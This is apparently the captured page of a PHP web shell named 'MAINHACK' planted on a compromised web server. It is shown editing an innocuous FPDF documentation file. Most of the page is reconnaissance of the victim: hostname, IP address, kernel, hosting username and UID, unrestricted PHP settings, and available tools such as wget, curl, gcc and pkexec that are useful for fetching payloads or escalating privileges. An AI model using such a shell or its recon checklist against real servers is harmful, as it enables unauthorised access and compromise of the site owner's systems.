[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: aliasnbpages.htm
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>AliasNbPages</title> <link type="text/css" rel="stylesheet" href="../fpdf.css"> </head> <body> <h1>AliasNbPages</h1> <code>AliasNbPages([<b>string</b> alias])</code> <h2>Description</h2> Defines an alias for the total number of pages. It will be substituted as the document is closed. <h2>Parameters</h2> <dl class="param"> <dt><code>alias</code></dt> <dd> The alias. Default value: <code>{nb}</code>. </dd> </dl> <h2>Example</h2> <div class="doc-source"> <pre><code>class PDF extends FPDF { function Footer() { // Go to 1.5 cm from bottom $this->SetY(-15); // Select Arial italic 8 $this->SetFont('Arial', 'I', 8); // Print current and total page numbers $this->Cell(0, 10, 'Page '.$this->PageNo().'/{nb}', 0, 0, 'C'); } } $pdf = new PDF(); $pdf->AliasNbPages();</code></pre> </div> <h2>See also</h2> <a href="pageno.htm">PageNo</a>, <a href="footer.htm">Footer</a> <hr style="margin-top:1.5em"> <div style="text-align:center"><a href="index.htm">Index</a></div> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.76 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002